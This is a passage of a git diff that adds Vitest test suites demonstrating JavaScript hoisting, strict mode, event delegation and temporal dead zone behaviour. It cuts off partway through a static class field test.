const list = container.querySelector('.list') + + for (let i = 0; i < 100; i++) { + const li = document.createElement('li') + li.className = 'item' + li.dataset.id = i.toString() + li.textContent = `Item ${i}` + list.appendChild(li) + } + + const clickedItems = [] + + // Single delegated listener handles all items + list.addEventListener('click', (event) => { + if (event.target.matches('.item')) { + clickedItems.push(event.target.dataset.id) + } + }) + + // Click various items + list.querySelector('[data-id="0"]').click() + list.querySelector('[data-id="50"]').click() + list.querySelector('[data-id="99"]').click() + + expect(clickedItems).toEqual(['0', '50', '99']) + }) + }) +}) diff --git a/tests/beyond/language-mechanics/hoisting/hoisting.test.js b/tests/beyond/language-mechanics/hoisting/hoisting.test.js new file mode 100644 index 00000000..2bbe69d5 --- /dev/null +++ b/tests/beyond/language-mechanics/hoisting/hoisting.test.js @@ -0,0 +1,726 @@ +import { describe, it, expect } from 'vitest' + +describe('Hoisting', () => { + describe('Variable Hoisting with var', () => { + it('should hoist var declarations and initialize to undefined', () => { + function example() { + const before = greeting + var greeting = "Hello" + const after = greeting + return { before, after } + } + + const result = example() + expect(result.before).toBe(undefined) + expect(result.after).toBe("Hello") + }) + + it('should hoist var to function scope, not block scope', () => { + function example() { + if (true) { + var message = "Inside block" + } + return message + } + + expect(example()).toBe("Inside block") + }) + + it('should hoist multiple var declarations', () => { + function example() { + const first = x + var x = 1 + const second = x + var x = 2 + const third = x + return { first, second, third } + } + + const result = example() + expect(result.first).toBe(undefined) + expect(result.second).toBe(1) + expect(result.third).toBe(2) + }) + + it('should allow var redeclaration without error', () => { + var name = "Alice" + var name = "Bob" + var name = "Charlie" + + expect(name).toBe("Charlie") + }) + }) + + describe('let and const: Temporal Dead Zone', () => { + it('should throw ReferenceError when accessing let before declaration', () => { + expect(() => { + eval(` + const before = x + let x = 10 + `) + }).toThrow(ReferenceError) + }) + + it('should throw ReferenceError when accessing const before declaration', () => { + expect(() => { + eval(` + const before = y + const y = 20 + `) + }).toThrow(ReferenceError) + }) + + it('should demonstrate that let IS hoisted by shadowing outer variable', () => { + const outer = "outer" + + expect(() => { + eval(` + { + // If inner 'x' wasn't hoisted, this would access outer 'x' + // But we get ReferenceError, proving inner 'x' shadows outer from block start + const value = outer + let outer = "inner" + } + `) + }).toThrow(ReferenceError) + }) + + it('should work after declaration line is reached', () => { + let x + x = 10 + expect(x).toBe(10) + + const y = 20 + expect(y).toBe(20) + }) + + it('should have separate TDZ for each block', () => { + let x = "outer" + + { + // New TDZ for this block's x + let x = "inner1" + expect(x).toBe("inner1") + } + + { + // Another new TDZ for this block's x + let x = "inner2" + expect(x).toBe("inner2") + } + + expect(x).toBe("outer") + }) + }) + + describe('Function Declaration Hoisting', () => { + it('should fully hoist function declarations', () => { + // Can call before declaration + const result = add(2, 3) + + function add(a, b) { + return a + b + } + + expect(result).toBe(5) + }) + + it('should hoist function declarations in any order', () => { + // Both functions can reference each other + function isEven(n) { + if (n === 0) return true + return isOdd(n - 1) + } + + function isOdd(n) { + if (n === 0) return false + return isEven(n - 1) + } + + expect(isEven(4)).toBe(true) + expect(isOdd(3)).toBe(true) + expect(isEven(3)).toBe(false) + expect(isOdd(4)).toBe(false) + }) + + it('should hoist function inside blocks (in non-strict mode behavior)', () => { + // Function declared inside block + function example() { + if (true) { + function inner() { + return "inner" + } + return inner() + } + } + + expect(example()).toBe("inner") + }) + }) + + describe('Function Expression Hoisting', () => { + it('should throw TypeError for var function expression called before assignment', () => { + expect(() => { + eval(` + greet() + var greet = function() { return "Hello" } + `) + }).toThrow(TypeError) + }) + + it('should throw ReferenceError for let/const function expression in TDZ', () => { + expect(() => { + eval(` + greet() + const greet = function() { return "Hello" } + `) + }).toThrow(ReferenceError) + }) + + it('should work after assignment for var function expression', () => { + var greet + expect(greet).toBe(undefined) + + greet = function() { + return "Hello" + } + + expect(greet()).toBe("Hello") + }) + + it('should work after declaration for const function expression', () => { + const greet = function() { + return "Hello" + } + + expect(greet()).toBe("Hello") + }) + }) + + describe('Arrow Function Hoisting', () => { + it('should throw ReferenceError for arrow function in TDZ', () => { + expect(() => { + eval(` + sayHi() + const sayHi = () => "Hi" + `) + }).toThrow(ReferenceError) + }) + + it('should work after declaration', () => { + const sayHi = () => "Hi" + expect(sayHi()).toBe("Hi") + }) + + it('should follow same rules as function expressions', () => { + // Arrow functions are always expressions + const multiply = (a, b) => a * b + const add = function(a, b) { return a + b } + + expect(multiply(3, 4)).toBe(12) + expect(add(3, 4)).toBe(7) + }) + }) + + describe('Class Hoisting', () => { + it('should throw ReferenceError when using class before declaration', () => { + expect(() => { + eval(` + const dog = new Animal("Buddy") + class Animal { + constructor(name) { + this.name = name + } + } + `) + }).toThrow(ReferenceError) + }) + + it('should work after class declaration', () => { + class Animal { + constructor(name) { + this.name = name + } + } + + const dog = new Animal("Buddy") + expect(dog.name).toBe("Buddy") + }) + + it('should throw ReferenceError for class expression before declaration', () => { + expect(() => { + eval(` + new MyClass() + const MyClass = class {} + `) + }).toThrow(ReferenceError) + }) + }) + + describe('Hoisting Precedence and Order', () => { + it('should have function declarations win over var initially', () => { + function example() { + const typeAtStart = typeof myValue + + var myValue = "string" + + function myValue() { + return "function" + } + + const typeAtEnd = typeof myValue + + return { typeAtStart, typeAtEnd } + } + + const result = example() + // Function is hoisted over var initially + expect(result.typeAtStart).toBe("function") + // But var assignment overwrites it + expect(result.typeAtEnd).toBe("string") + }) + + it('should merge multiple var declarations', () => { + var x = 1 + expect(x).toBe(1) + + var x = 2 + expect(x).toBe(2) + + var x = 3 + expect(x).toBe(3) + }) + + it('should hoist var without value if only declared later', () => { + function example() { + const first = x + var x + const second = x + x = 5 + const third = x + return { first, second, third } + } + + const result = example() + expect(result.first).toBe(undefined) + expect(result.second).toBe(undefined) + expect(result.third).toBe(5) + }) + }) + + describe('Common Hoisting Pitfalls', () => { + it('should demonstrate the function expression trap', () => { + // This is the #1 hoisting mistake + function example() { + try { + return sum(2, 3) + } catch (e) { + return e.name + } finally { + // eslint-disable-next-line no-unused-vars + var sum = function(a, b) { + return a + b + } + } + } + + expect(example()).toBe("TypeError") + }) + + it('should work when using function declaration instead', () => { + function example() { + return sum(2, 3) + + function sum(a, b) { + return a + b + } + } + + expect(example()).toBe(5) + }) + + it('should demonstrate var loop problem with closures', () => { + const funcs = [] + + for (var i = 0; i < 3; i++) { + funcs.push(function() { + return i + }) + } + + // All return 3 because they share the same hoisted 'i' + expect(funcs[0]()).toBe(3) + expect(funcs[1]()).toBe(3) + expect(funcs[2]()).toBe(3) + }) + + it('should fix loop problem with let', () => { + const funcs = [] + + for (let i = 0; i < 3; i++) { + funcs.push(function() { + return i + }) + } + + // Each iteration gets its own 'i' + expect(funcs[0]()).toBe(0) + expect(funcs[1]()).toBe(1) + expect(funcs[2]()).toBe(2) + }) + }) + + describe('Test Your Knowledge Examples', () => { + it('Question 1: var hoisting returns undefined then value', () => { + function example() { + const results = [] + results.push(x) + var x = 10 + results.push(x) + return results + } + + const [first, second] = example() + expect(first).toBe(undefined) + expect(second).toBe(10) + }) + + it('Question 2: let throws ReferenceError', () => { + expect(() => { + eval(` + console.log(y) + let y = 20 + `) + }).toThrow(ReferenceError) + }) + + it('Question 3: var function expression throws TypeError', () => { + expect(() => { + eval(` + sayHi() + var sayHi = function() { console.log("Hi!") } + `) + }).toThrow(TypeError) + }) + + it('Question 4: function declaration works before definition', () => { + function example() { + return sayHello() + + function sayHello() { + return "Hello!" + } + } + + expect(example()).toBe("Hello!") + }) + + it('Question 5: function vs var same name', () => { + function example() { + var a = 1 + function a() { return 2 } + return typeof a + } + + expect(example()).toBe("number") + }) + + it('Question 6: inner const shadows outer due to hoisting', () => { + const x = "outer" + + function test() { + // The const x below IS hoisted and creates TDZ from start of function + // So accessing x here tries to access the inner x which is in TDZ + try { + // eslint-disable-next-line no-unused-vars + const result = x // This x refers to inner x (TDZ!) + const x = "inner" + return result + } catch (e) { + return e.name + } + } + + // The const x inside the try block shadows outer x due to hoisting + expect(test()).toBe("ReferenceError") + }) + }) + + describe('Edge Cases', () => { + it('should handle nested function hoisting', () => { + function outer() { + const result = inner() + + function inner() { + return deepest() + + function deepest() { + return "deep" + } + } + + return result + } + + expect(outer()).toBe("deep") + }) + + it('should handle var in catch block', () => { + try { + throw new Error("test") + } catch (e) { + var caught = e.message + } + + // var escapes the catch block + expect(caught).toBe("test") + }) + + it('should not hoist variables from eval in strict mode', () => { + // In strict mode, eval has its own scope + "use strict" + eval('var evalVar = "from eval"') + + // evalVar is not accessible outside eval in strict mode + expect(typeof evalVar).toBe("undefined") + }) + + it('should hoist function parameters like var', () => { + function example(a) { + const typeAtStart = typeof a + var a = "reassigned" + const typeAfter = typeof a + return { typeAtStart, typeAfter } + } + + const result = example(42) + expect(result.typeAtStart).toBe("number") + expect(result.typeAfter).toBe("string") + }) + + it('should handle default parameter TDZ', () => { + // Earlier parameters can be used in later defaults + function test(a = 1, b = a + 1) { + return a + b + } + + expect(test()).toBe(3) // a=1, b=2 + expect(test(5)).toBe(11) // a=5, b=6 + expect(test(5, 10)).toBe(15) // a=5, b=10 + }) + + it('should throw for later parameter used in earlier default', () => { + expect(() => { + eval(` + function test(a = b, b = 2) { + return a + b + } + test() + `) + }).toThrow(ReferenceError) + }) + }) + + describe('Real-World Patterns', () => { + it('should enable module pattern with hoisted functions', () => { + function createCounter() { + // Variables must be declared before return (let/const don't hoist values) + // But functions ARE fully hoisted, so we can reference them before definition + let count = 0 + + return { + increment, + decrement, + getValue + } + + // Function implementations below - these ARE hoisted + function increment() { + return ++count + } + + function decrement() { + return --count + } + + function getValue() { + return count + } + } + + const counter = createCounter() + expect(counter.increment()).toBe(1) + expect(counter.increment()).toBe(2) + expect(counter.decrement()).toBe(1) + expect(counter.getValue()).toBe(1) + }) + + it('should demonstrate readable code structure with hoisting', () => { + // Public API at the top + function processUser(user) { + validate(user) + const formatted = format(user) + return save(formatted) + + // Implementation details below + function validate(u) { + if (!u.name) throw new Error("Name required") + } + + function format(u) { + return { ...u, name: u.name.toUpperCase() } + } + + function save(u) { + return { ...u, saved: true } + } + } + + const result = processUser({ name: "alice", age: 30 }) + expect(result.name).toBe("ALICE") + expect(result.saved).toBe(true) + }) + }) + + describe('Documentation Examples', () => { + describe('Why TDZ Exists (MDX lines 220-225)', () => { + it('should throw ReferenceError when inner let shadows outer, not access outer value', () => { + // This demonstrates WHY the TDZ exists - to prevent confusing behavior + // where you might accidentally reference an outer variable + const x = "outer" + + function example() { + // Without TDZ, this might confusingly print "outer" + // With TDZ, JavaScript tells you something is wrong + try { + // eslint-disable-next-line no-unused-vars + const value = x // Tries to access inner x which is in TDZ + // eslint-disable-next-line no-unused-vars + let x = "inner" + return value + } catch (e) { + return e.name + } + } + + // The inner let x shadows outer x from the start of the function + // so we get ReferenceError instead of "outer" + expect(example()).toBe("ReferenceError") + // But outer x is still accessible outside the function + expect(x).toBe("outer") + }) + }) + + describe('Best Practices', () => { + describe('1. Declare variables at top of scope (MDX lines 542-554)', () => { + // This tests the processUser example from Best Practice 1 + function processUser(user) { + // All declarations at the top + const name = user.name + const email = user.email + let isValid = false + + // Logic follows + if (name && email) { + isValid = true + } + + return isValid + } + + it('should validate user with name and email', () => { + expect(processUser({ name: "Alice", email: "alice@example.com" })).toBe(true) + }) + + it('should invalidate user without email', () => { + expect(processUser({ name: "Alice" })).toBe(false) + }) + + it('should invalidate user without name', () => { + expect(processUser({ email: "alice@example.com" })).toBe(false) + }) + }) + + describe('2. Prefer const > let > var (MDX lines 562-567)', () => { + it('should not allow const reassignment', () => { + expect(() => { + eval(` + const API_URL = 'https://api.example.com' + API_URL = 'https://other.com' + `) + }).toThrow(TypeError) + }) + + it('should allow let reassignment', () => { + let currentUser = null + currentUser = { name: "Alice" } + currentUser = { name: "Bob" } + + expect(currentUser.name).toBe("Bob") + }) + + it('should allow var reassignment and redeclaration', () => { + var counter = 0 + counter = 1 + var counter = 2 // Redeclaration allowed with var + + expect(counter).toBe(2) + }) + }) + + describe('3. Use function declarations for named functions (MDX lines 577-583)', () => { + it('should hoist function declaration (calculateTotal can be called before definition)', () => { + // Function declaration is fully hoisted + const items = [{ price: 10 }, { price: 20 }, { price: 30 }] + const result = calculateTotal(items) + + function calculateTotal(items) { + return items.reduce((sum, item) => sum + item.price, 0) + } + + expect(result).toBe(60) + }) + + it('should work with arrow function after declaration (calculateTax)', () => { + const calculateTax = (amount) => amount * 0.1 + + expect(calculateTax(100)).toBe(10) + expect(calculateTax(250)).toBe(25) + }) + + it('should throw ReferenceError if arrow function called before declaration', () => { + expect(() => { + eval(` + calculateTax(100) + const calculateTax = (amount) => amount * 0.1 + `) + }).toThrow(ReferenceError) + }) + }) + + describe('5. Don\'t rely on hoisting for variable values (MDX lines 605-615)', () => { + it('should show bad pattern: var x is undefined before assignment', () => { + function bad() { + const valueBeforeAssignment = x // undefined - works but confusing + var x = 5 + const valueAfterAssignment = x + return { before: valueBeforeAssignment, after: valueAfterAssignment } + } + + const result = bad() + expect(result.before).toBe(undefined) + expect(result.after).toBe(5) + }) + + it('should show good pattern: const x is properly defined', () => { + function good() { + const x = 5 + return x // 5 - clear and predictable + } + + expect(good()).toBe(5) + }) + }) + }) + }) +}) diff --git a/tests/beyond/language-mechanics/strict-mode/strict-mode.test.js b/tests/beyond/language-mechanics/strict-mode/strict-mode.test.js new file mode 100644 index 00000000..f3a3979b --- /dev/null +++ b/tests/beyond/language-mechanics/strict-mode/strict-mode.test.js @@ -0,0 +1,518 @@ +import { describe, it, expect } from 'vitest' + +describe('Strict Mode', () => { + // =========================================== + // Part 1: Accidental Global Variables + // =========================================== + + describe('Part 1: Accidental Global Variables', () => { + it('should demonstrate how sloppy mode creates accidental globals', () => { + // In sloppy mode, assigning to an undeclared variable creates a global + // We can simulate this behavior (but won't actually pollute global scope) + + function sloppyBehavior() { + // Simulating what would happen in sloppy mode: + // undeclaredVar = 'leaked' would create window.undeclaredVar + const globals = {} + + // This mimics sloppy mode's behavior of auto-creating globals + function assignToUndeclared(varName, value) { + globals[varName] = value // Leaks to "global" scope + } + + assignToUndeclared('mistypedVariable', 42) + return globals.mistypedVariable + } + + expect(sloppyBehavior()).toBe(42) + }) + + it('should show that strict mode catches undeclared variable assignments', () => { + // In strict mode, assigning to undeclared variable throws ReferenceError + // We test the expected behavior pattern + + function strictBehavior() { + 'use strict' + + // In strict mode, we must declare variables first + let declaredVariable + declaredVariable = 42 // This works + return declaredVariable + } + + expect(strictBehavior()).toBe(42) + }) + + it('should demonstrate the difference with a practical typo scenario', () => { + // This shows why strict mode is valuable for catching typos + + function calculateTotalStrict(price, taxRate) { + 'use strict' + + // Proper declaration - no typos + const total = price * (1 + taxRate) + return total + } + + // Using toBeCloseTo for floating-point comparison + expect(calculateTotalStrict(100, 0.1)).toBeCloseTo(110, 10) + }) + }) + + // =========================================== + // Part 2: Silent Assignment Failures + // =========================================== + + describe('Part 2: Silent Assignment Failures', () => { + it('should demonstrate that read-only properties throw in strict mode', () => { + 'use strict' + + const obj = {} + Object.defineProperty(obj, 'readOnly', { + value: 42, + writable: false + }) + + // Attempting to write to a read-only property throws TypeError + expect(() => { + obj.readOnly = 100 + }).toThrow(TypeError) + + // Original value unchanged + expect(obj.readOnly).toBe(42) + }) + + it('should demonstrate getter-only properties throw on assignment', () => { + 'use strict' + + const obj = { + get value() { + return 'constant' + } + } + + // Attempting to set a getter-only property throws TypeError + expect(() => { + obj.value = 'new value' + }).toThrow(TypeError) + + expect(obj.value).toBe('constant') + }) + + it('should demonstrate non-extensible objects throw on new property', () => { + 'use strict' + + const obj = { existing: 1 } + Object.preventExtensions(obj) + + // Can still modify existing properties + obj.existing = 2 + expect(obj.existing).toBe(2) + + // But adding new properties throws TypeError + expect(() => { + obj.newProperty = 'test' + }).toThrow(TypeError) + }) + + it('should demonstrate frozen objects are completely immutable', () => { + 'use strict' + + const frozen = Object.freeze({ x: 1, y: 2 }) + + // Cannot modify existing properties + expect(() => { + frozen.x = 100 + }).toThrow(TypeError) + + // Cannot add new properties + expect(() => { + frozen.z = 3 + }).toThrow(TypeError) + + // Cannot delete properties + expect(() => { + delete frozen.x + }).toThrow(TypeError) + + // Values unchanged + expect(frozen.x).toBe(1) + expect(frozen.y).toBe(2) + }) + }) + + // =========================================== + // Part 3: Delete Restrictions + // =========================================== + + describe('Part 3: Delete Restrictions', () => { + it('should demonstrate deleting non-configurable properties throws', () => { + 'use strict' + + const obj = {} + Object.defineProperty(obj, 'permanent', { + value: 'cannot delete', + configurable: false + }) + + // Attempting to delete non-configurable property throws TypeError + expect(() => { + delete obj.permanent + }).toThrow(TypeError) + + expect(obj.permanent).toBe('cannot delete') + }) + + it('should allow deleting configurable properties', () => { + 'use strict' + + const obj = { deletable: 'can delete' } + + expect(obj.deletable).toBe('can delete') + expect(delete obj.deletable).toBe(true) + expect(obj.deletable).toBe(undefined) + }) + + it('should demonstrate that built-in properties are non-configurable', () => { + 'use strict' + + // Array.prototype is non-configurable + expect(() => { + delete Array.prototype + }).toThrow(TypeError) + + // Array length is non-configurable on existing arrays + const arr = [1, 2, 3] + expect(() => { + delete arr.length + }).toThrow(TypeError) + }) + }) + + // =========================================== + // Part 4: `this` Behavior + // =========================================== + + describe('Part 4: this Behavior', () => { + it('should demonstrate this is undefined in strict mode function calls', () => { + 'use strict' + + function getThis() { + return this + } + + // Direct function call - this is undefined in strict mode + expect(getThis()).toBe(undefined) + }) + + it('should demonstrate this is still the object when called as method', () => { + 'use strict' + + const obj = { + value: 42, + getValue() { + return this.value + } + } + + // Method call - this is the object + expect(obj.getValue()).toBe(42) + }) + + it('should demonstrate call/apply/bind still work to set this', () => { + 'use strict' + + function greet() { + return `Hello, ${this.name}` + } + + const person = { name: 'Alice' } + + // call sets this + expect(greet.call(person)).toBe('Hello, Alice') + + // apply sets this + expect(greet.apply(person)).toBe('Hello, Alice') + + // bind creates new function with fixed this + const boundGreet = greet.bind(person) + expect(boundGreet()).toBe('Hello, Alice') + }) + + it('should demonstrate primitives are not boxed when passed to call/apply', () => { + 'use strict' + + function getThisType() { + return typeof this + } + + // In strict mode, primitives passed to call/apply stay as primitives + expect(getThisType.call(42)).toBe('number') + expect(getThisType.call('hello')).toBe('string') + expect(getThisType.call(true)).toBe('boolean') + + // null and undefined are passed through as-is + expect(getThisType.call(null)).toBe('object') // typeof null === 'object' + expect(getThisType.call(undefined)).toBe('undefined') + }) + + it('should demonstrate arrow functions inherit this regardless of strict mode', () => { + 'use strict' + + // Create a function that creates an object with arrow function + // to demonstrate that arrow functions capture 'this' from definition scope + function createObj() { + // 'this' inside a strict mode function call is undefined + const capturedThis = this // undefined + + return { + value: 100, + getValueArrow: () => { + // Arrow function captures 'this' from createObj's scope + return capturedThis + }, + getValueRegular() { + // Regular function: this is the object + return this.value + } + } + } + + const obj = createObj() + + expect(obj.getValueRegular()).toBe(100) + // Arrow function's this is from enclosing scope (undefined in strict mode) + expect(obj.getValueArrow()).toBe(undefined) + }) + }) + + // =========================================== + // Part 5: Duplicate Parameters + // =========================================== + + describe('Part 5: Duplicate Parameters (Syntax Restrictions)', () => { + it('should demonstrate unique parameters work correctly', () => { + 'use strict' + + function add(a, b, c) { + return a + b + c + } + + expect(add(1, 2, 3)).toBe(6) + }) + + it('should show the sloppy mode duplicate parameter confusion', () => { + // In sloppy mode, duplicate params shadow earlier ones + // This simulates what happens: function sum(a, a, c) uses last 'a' + + function simulateSloppyDuplicate(firstA, secondA, c) { + // In sloppy mode with function(a, a, c), only second 'a' is accessible + return secondA + secondA + c + } + + // sum(1, 2, 3) with duplicate 'a' returns 2 + 2 + 3 = 7, not 1 + 2 + 3 = 6 + expect(simulateSloppyDuplicate(1, 2, 3)).toBe(7) + }) + + // Note: We can't actually test that strict mode throws SyntaxError for + // duplicate parameters because that's a parse-time error. The test file + // itself wouldn't parse if we included such code. + }) + + // =========================================== + // Part 6: eval and arguments Restrictions + // =========================================== + + describe('Part 6: eval and arguments Restrictions', () => { + it('should demonstrate eval does not leak variables in strict mode', () => { + 'use strict' + + // In strict mode, eval creates its own scope + eval('var evalVar = "inside eval"') + + // evalVar is NOT accessible outside eval in strict mode + expect(() => evalVar).toThrow(ReferenceError) + }) + + it('should demonstrate arguments object is independent of parameters', () => { + 'use strict' + + function testArguments(a) { + const originalA = a + const originalArg0 = arguments[0] + + // Modify arguments[0] + arguments[0] = 999 + + // In strict mode, 'a' is NOT affected + expect(a).toBe(originalA) + expect(arguments[0]).toBe(999) + + // Modify parameter + a = 888 + + // arguments[0] is NOT affected + expect(arguments[0]).toBe(999) + expect(a).toBe(888) + + return { a, arg0: arguments[0] } + } + + const result = testArguments(42) + expect(result.a).toBe(888) + expect(result.arg0).toBe(999) + }) + + it('should demonstrate arguments.callee throws in strict mode', () => { + 'use strict' + + function testCallee() { + return arguments.callee + } + + // Accessing arguments.callee throws TypeError in strict mode + expect(() => testCallee()).toThrow(TypeError) + }) + }) + + // =========================================== + // Part 7: Octal Literals + // =========================================== + + describe('Part 7: Octal Literals', () => { + it('should demonstrate 0o prefix works for octal numbers', () => { + 'use strict' + + // Modern octal syntax with 0o prefix + const octal = 0o755 + expect(octal).toBe(493) // 7*64 + 5*8 + 5 = 493 + + const octal10 = 0o10 + expect(octal10).toBe(8) + }) + + it('should demonstrate other number prefixes work correctly', () => { + 'use strict' + + // Binary with 0b prefix + expect(0b1010).toBe(10) + expect(0b11111111).toBe(255) + + // Hexadecimal with 0x prefix + expect(0xFF).toBe(255) + expect(0x10).toBe(16) + + // Octal with 0o prefix + expect(0o777).toBe(511) + }) + + // Note: We can't test that 0755 (legacy octal) throws SyntaxError + // because that would be a parse-time error in strict mode + }) + + // =========================================== + // Part 8: Reserved Words + // =========================================== + + describe('Part 8: Reserved Words', () => { + it('should demonstrate that reserved words cannot be object property shorthand', () => { + 'use strict' + + // Reserved words CAN be used as property names with quotes or computed + const obj = { + 'implements': true, + 'interface': true, + 'private': true, + 'public': true, + 'static': true + } + + expect(obj.implements).toBe(true) + expect(obj.interface).toBe(true) + expect(obj['private']).toBe(true) + }) + + it('should show that static works in class context', () => { + 'use strict' + + class MyClass { + static staticMethod() { + return 'static works' + } + + static staticProperty = 'static property' + } + + expect(MyClass.staticMethod()).toBe('static works') + expect(MyClass.staticProperty).toBe('static property') + }) + }) + + // =========================================== + // Part 9: Practical Scenarios + // =========================================== + + describe('Part 9: Practical Scenarios', () => { + it('should catch common typo bugs early', () => { + 'use strict' + + function processOrder(order) { + // All variables properly declared + const subtotal = order.items.reduce((sum, item) => sum + item.price, 0) + const tax = subtotal * order.taxRate + const total = subtotal + tax + + return { subtotal, tax, total } + } + + const order = { + items: [{ price: 10 }, { price: 20 }], + taxRate: 0.1 + } + + const result = processOrder(order) + expect(result.subtotal).toBe(30) + expect(result.tax).toBe(3) + expect(result.total).toBe(33) + }) + + it('should work correctly with classes (automatic strict mode)', () => { + // Classes are always in strict mode + class Counter { + #count = 0 // Private field + + increment() { + this.#count++ + } + + getCount() { + return this.#count + } + } + + const counter = new Counter() + expect(counter.getCount()).toBe(0) + counter.increment() + counter.increment() + expect(counter.getCount()).toBe(2) + }) + + it('should demonstrate safe object manipulation', () => { + 'use strict' + + // Create an object with controlled mutability + const config = Object.freeze({ + apiUrl: 'https://api.example.com', + timeout: 5000, + retries: 3 + }) + + // Verify immutability + expect(() => { + config.apiUrl = 'https://other.com' + }).toThrow(TypeError) + + expect(config.apiUrl).toBe('https://api.example.com') + }) + }) +}) diff --git a/tests/beyond/language-mechanics/temporal-dead-zone/temporal-dead-zone.test.js b/tests/beyond/language-mechanics/temporal-dead-zone/temporal-dead-zone.test.js new file mode 100644 index 00000000..036b47a6 --- /dev/null +++ b/tests/beyond/language-mechanics/temporal-dead-zone/temporal-dead-zone.test.js @@ -0,0 +1,562 @@ +import { describe, it, expect } from 'vitest' + +describe('Temporal Dead Zone', () => { + describe('Basic TDZ Behavior', () => { + describe('let declarations', () => { + it('should throw ReferenceError when accessing let before declaration', () => { + expect(() => { + eval(` + const value = x + let x = 10 + `) + }).toThrow(ReferenceError) + }) + + it('should work correctly when accessed after declaration', () => { + let x = 10 + expect(x).toBe(10) + }) + }) + + describe('const declarations', () => { + it('should throw ReferenceError when accessing const before declaration', () => { + expect(() => { + eval(` + const value = y + const y = 20 + `) + }).toThrow(ReferenceError) + }) + + it('should work correctly when accessed after declaration', () => { + const y = 20 + expect(y).toBe(20) + }) + }) + + describe('var declarations (no TDZ)', () => { + it('should return undefined when accessing var before declaration', () => { + function example() { + const before = x + var x = 10 + const after = x + return { before, after } + } + + const result = example() + expect(result.before).toBe(undefined) + expect(result.after).toBe(10) + }) + + it('should demonstrate var hoisting to function scope', () => { + function example() { + if (false) { + var x = 10 + } + return x // undefined, not ReferenceError + } + + expect(example()).toBe(undefined) + }) + }) + }) + + describe('TDZ Boundaries', () => { + it('should start TDZ at the beginning of the block', () => { + expect(() => { + eval(` + { + // TDZ starts here + const value = name + let name = "Alice" + } + `) + }).toThrow(ReferenceError) + }) + + it('should end TDZ at the declaration line', () => { + { + // TDZ for 'name' exists here + let name = "Alice" // TDZ ends here + expect(name).toBe("Alice") + } + }) + + it('should allow function definitions that reference TDZ variables', () => { + // This is the key "temporal" aspect + { + const getX = () => x // Function defined before x is initialized + let x = 42 + // Calling after initialization works! + expect(getX()).toBe(42) + } + }) + + it('should throw if function is called during TDZ', () => { + expect(() => { + eval(` + { + const getX = () => x + getX() // Called before x is initialized + let x = 42 + } + `) + }).toThrow(ReferenceError) + }) + + it('should have separate TDZ per block scope', () => { + let x = "outer" + + { + // New TDZ for inner x starts here + // The outer x is shadowed but we can't access inner x yet + expect(() => { + eval(` + { + let outer = x // This x refers to inner, which is in TDZ + let x = "inner" + } + `) + }).toThrow(ReferenceError) + } + + expect(x).toBe("outer") + }) + }) + + describe('TDZ with typeof', () => { + it('should throw ReferenceError when using typeof on TDZ variable', () => { + expect(() => { + eval(` + { + typeof x // ReferenceError! + let x = 10 + } + `) + }).toThrow(ReferenceError) + }) + + it('should return "undefined" for undeclared variables (no TDZ)', () => { + // This is the key difference from undeclared variables + expect(typeof undeclaredVariable).toBe("undefined") + }) + + it('should work after TDZ ends', () => { + let x = 10 + expect(typeof x).toBe("number") + }) + }) + + describe('TDZ in Default Parameters', () => { + it('should allow later parameters to reference earlier ones', () => { + function test(a = 1, b = a + 1) { + return { a, b } + } + + expect(test()).toEqual({ a: 1, b: 2 }) + expect(test(5)).toEqual({ a: 5, b: 6 }) + expect(test(5, 10)).toEqual({ a: 5, b: 10 }) + }) + + it('should throw when earlier parameters reference later ones', () => { + expect(() => { + eval(` + function test(a = b, b = 2) { + return a + b + } + test() + `) + }).toThrow(ReferenceError) + }) + + it('should throw on self-reference in default parameter', () => { + expect(() => { + eval(` + function test(a = a) { + return a + } + test() + `) + }).toThrow(ReferenceError) + }) + + it('should allow referencing outer scope variables in defaults', () => { + const outer = 100 + + function test(a = outer, b = a + 1) { + return { a, b } + } + + expect(test()).toEqual({ a: 100, b: 101 }) + }) + }) + + describe('TDZ in Destructuring', () => { + it('should throw on self-referencing destructuring', () => { + expect(() => { + eval(` + let { x = x } = {} + `) + }).toThrow(ReferenceError) + }) + + it('should throw when later destructured variable references earlier in TDZ', () => { + expect(() => { + eval(` + let { a = b, b = 1 } = {} + `) + }).toThrow(ReferenceError) + }) + + it('should allow earlier destructured variables to be used by later ones', () => { + let { a = 1, b = a + 1 } = {} + expect(a).toBe(1) + expect(b).toBe(2) + }) + + it('should work with provided values', () => { + let { a = 1, b = a + 1 } = { a: 10, b: 20 } + expect(a).toBe(10) + expect(b).toBe(20) + }) + }) + + describe('TDZ in Loops', () => { + it('should throw for for...of header self-reference', () => { + expect(() => { + eval(` + for (let n of n.values) { + console.log(n) + } + `) + }).toThrow(ReferenceError) + }) + + it('should create fresh binding per iteration with let', () => { + const funcs = [] + + for (let i = 0; i < 3; i++) { + funcs.push(() => i) + } + + // Each closure captures a different i + expect(funcs[0]()).toBe(0) + expect(funcs[1]()).toBe(1) + expect(funcs[2]()).toBe(2) + }) + + it('should share binding across iterations with var (no TDZ)', () => { + const funcs = [] + + for (var i = 0; i < 3; i++) { + funcs.push(() => i) + } + + // All closures share the same i + expect(funcs[0]()).toBe(3) + expect(funcs[1]()).toBe(3) + expect(funcs[2]()).toBe(3) + }) + + it('should have TDZ in for...in loop header', () => { + expect(() => { + eval(` + for (let key in key.split('')) { + console.log(key) + } + `) + }).toThrow(ReferenceError) + }) + }) + + describe('TDZ with class Declarations', () => { + it('should throw ReferenceError when accessing class before declaration', () => { + expect(() => { + eval(` + const instance = new MyClass() + class MyClass { + constructor() { + this.value = 42 + } + } + `) + }).toThrow(ReferenceError) + }) + + it('should work when class is accessed after declaration', () => { + class MyClass { + constructor() { + this.value = 42 + } + } + + const instance = new MyClass() + expect(instance.value).toBe(42) + }) + + it('should throw when class references itself in extends before declaration', () => { + expect(() => { + eval(` + class A extends A {} + `) + }).toThrow(ReferenceError) + }) + + it('should allow class to reference itself inside methods', () => { + class Counter { + static count = 0 + + constructor() { + Counter.count++ // This works - class is initialized + } + + static getCount() { + return Counter.count + } + } + + new Counter() + new Counter() + expect(Counter.getCount()).toBe(2) + }) + }) + + describe('TDZ in Static Class Fields', () => { + it('should return undefined for static fields referencing later fields', () => { + // Note: This is NOT TDZ - it's property access returning undefined + // because the property doesn't exist yet on the class object + class Example { + static a = Example.b // b not yet defined, returns undefined + static b = 10 + } + + expect(Example.a).toBe(undefined) // Not TDZ, just undefined property + expect(Example.b).toBe(10) + }) + + it('should allow static fields to reference earlier fields', () => { + class Example { + static a = 10 + static b = Example.a + 5 + } + + expect(Example.a).toBe(10) + expect(Example.b).toBe(15) + }) + + it('should throw for static field self-reference before class exists', () => { + // This 